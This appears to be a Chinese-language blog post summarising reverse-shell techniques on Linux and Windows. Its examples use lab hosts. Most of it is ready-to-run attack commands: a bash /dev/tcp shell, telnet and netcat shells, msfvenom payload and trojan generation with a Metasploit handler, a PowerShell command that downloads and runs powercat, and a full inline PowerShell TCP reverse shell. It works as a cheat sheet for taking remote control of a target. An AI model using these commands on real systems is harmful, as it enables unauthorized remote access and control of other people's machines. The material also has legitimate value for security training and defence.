反弹shell学习总结

寵の児 提交于 2019-12-04 15:17:12

0x00 反弹shell概述

  反弹shell:即reverse shell,在我们自己的公网vps建立监听,然后让服务器反弹一个shell来连接我们自己的主机,通过反弹的shell去远程控制服务器。

0x01 反弹shell原因

  通常由于防火墙、权限不足、端口占用等情况下,无法直接连接目标主机,此时就需要通过反弹shell,让目标主机主动来连接我们再公网的vps。

0x02 Linux下反弹shell

  实验环境:

  攻击主机:kali:192.168.217.135

  目标主机:ubuntu:192.168.217.132

  1.Bash反弹

  1)攻击主机上执行监听:  

    nc -lvp port  //设定监听的端口

    

  2)目标主机上反弹shell:   

    bash -i >& /dev/tcp/x.x.x.x/port 0>&1      //bash -i:打开一个交互的bash    //>&:将标准输出和标准错误输出重定向到文件/dev/tcp/,即传递到远程    ///dev/tcp/x.x.x.x/port:调用socket,建立socket连接,其中x.x.x.x为要反弹到的主机ip,port为端口    //0>&1:标准输入重定向到标准输出,实现与反弹出来的shell的交互
    Linux文件描述符:    0 - stdin 代表标准输入,使用<或<<
    1 - stdout 代表标准输出,使用>或>>
    2 - stderr 代表标准错误输出,使用2>或2>>

    

  3)回到攻击机,shell反弹成功

    

  2.telnet反弹shell

    攻击机上执行命令,监听两个端口(一个用于输入,一个用于输出):

    nc -lvp 4444
    nc -lvp 5555

    目标机上执行:   

    telnet 192.168.217.135 4444 | /bin/bash | telnet 192.168.217.135 5555    //这里通过监听两个端口,然后进行反向连接的时候使用到了管道符,管道符的作用是把管道符前的输出作为管道符后的输入,这样的话就可以在远程的4444端口的输入设备(键盘)输入命令,将命令输出传递至本地的/bin/bash,通过本地shell解释执行命令后,将命令执行的结果以及错误输入到远程的5555端口。

    反弹shell成功后,在监听4444端口的终端执行命令,在另一个终端输出执行结果

      

  3.nc反弹shell

    攻击机上执行监听命令:  

    nc -lvp port

       

    目标机上执行命令:

    nc -e -t /bin/bash ip port  //使用nc命令直接建立一个tcp的会话连接,然后将本地的bash通过这个会话连接反弹给目标主机
    //-e后面跟的参数代表的是在创建连接后执行的程序,这里代表在连接到远程后可以在远程执行一个本地shell(/bin/bash),也就是反弹一个shell给远程

    

    如果目标主机linux发行版本没有 -e 参数,可选择以下方式: 

    nc ip port1|/bin/bash|ip port2

    成功反弹

    

  4.利用msfvenom

    攻击主机上使用msfvenom搜索相关payload(此处以python为例) 

    msfvenom -l payloads | grep 'cmd/unix/reverse'     

    

    可以看到多种实现反弹shell的方式

    执行命令:  

    msfvenom -p cmd/unix/reverse_python lhost=192.168.217.135 lport=6666

    获取相应payload

    

     然后攻击上启动nc进行监听

    nc -lvp port

    目标主机上执行msfvenom给出的payload

     

    反弹成功

    

 

0x03 Windows下反弹shell  

  实验环境:

  攻击主机:kali:192.168.217.135

  目标主机:Win7:192.168.217.130

  1.nc反弹shell

    攻击机上执行监听命令:

    nc -lvp port

    

     目标机上执行:

    nc.exe -e cmd.exe 192.168.217.135 6666

    

     成功反弹shell

    

  2.msfvenom反弹shell

    攻击机上搜索windows x64 tcp的payload:

    msfvenom -l payload | grep windows | grep x64 | grep tcp

    

    这里选择windows/x64/meterpreter/reverse_tcp生成木马文件 

    msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.217.135 lport=6666 -f exe >test.exe

    

    将木马文件移动到桌面方便复制到目标机

    攻击机上使用msfconsole监听: 

    use exploit/multi/handler
    set payload windows/x64/meterpreter/reverse_tcp
    set lhost 192.168.217.135
    set lport 6666
    exploit

    

    目标机上执行test.exe木马文件

    可看到攻击机上反弹成功

    

   3.powershell反弹shell

    攻击机上执行监听命令: 

    nc -lvp port

    目标机上:

    1).执行命令

    powershell IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1'); powercat -c 192.168.217.135 -p 6666 -e cmd

    

     反弹成功

    

     2).自定义powershell函数反弹shell: 

    powershell -nop -c "$client = New-Object Net.Sockets.TCPClient('192.168.217.135',6666);$stream = $client.GetStream(); [byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){; $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String ); $sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2); $stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"

    

     反弹成功

    

 

  参考链接 

  https://www.cnblogs.com/threesoil/p/10958126.html

  https://www.anquanke.com/post/id/99793

  https://www.freebuf.com/articles/system/178150.html

易学教程内所有资源均来自网络或用户发布的内容,如有违反法律规定的内容欢迎反馈
该文章没有解决你所遇到的问题?点击提问,说说你的问题,让更多的人一起探讨吧!